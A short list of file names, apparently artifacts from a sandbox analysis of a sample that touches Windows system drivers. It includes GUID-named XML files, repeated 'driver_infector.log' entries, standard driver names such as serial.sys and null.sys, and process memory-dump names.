cc445c85-840a-4a9b-963e-1b765bed7e9b.xml
da088a0f-4ad6-4810-8b75-daf2b19fd7ea.xml
da403ba3-333b-4b8a-8cfb-c8edc3aab6bf.xml
db796dad-4e96-4cb6-aa23-67be13df4bbc.xml
e77e3e93-662f-4227-86ee-d5d6f207ff9b.xml
eda56856-e772-41f9-8966-ae4d215355fb.xml
driver_infector.log
driver_infector.log
driver_infector.log
driver_infector.log
driver_infector.log
driver_infector.log
driver_infector.log
driver_infector.log
beep.sys
modem.sys
null.sys
parport.sys
rasl2tp.sys
raspppoe.sys
raspptp.sys
serenum.sys
serial.sys
usbprint.sys
memory/6000-34-0x000001B6C92A0000-0x000001B6C92C2000-memory.dmp
memory/6112-165-0x0000013BBC660000-0x0000013BBC670000-memory.dmp
memory/6112-0-0x0000013BA2100000-0x0000013BA217A000-memory.dmp
memory/6112-1-0x0000013BBC660000-0x0000013BBC670000-memory.dmp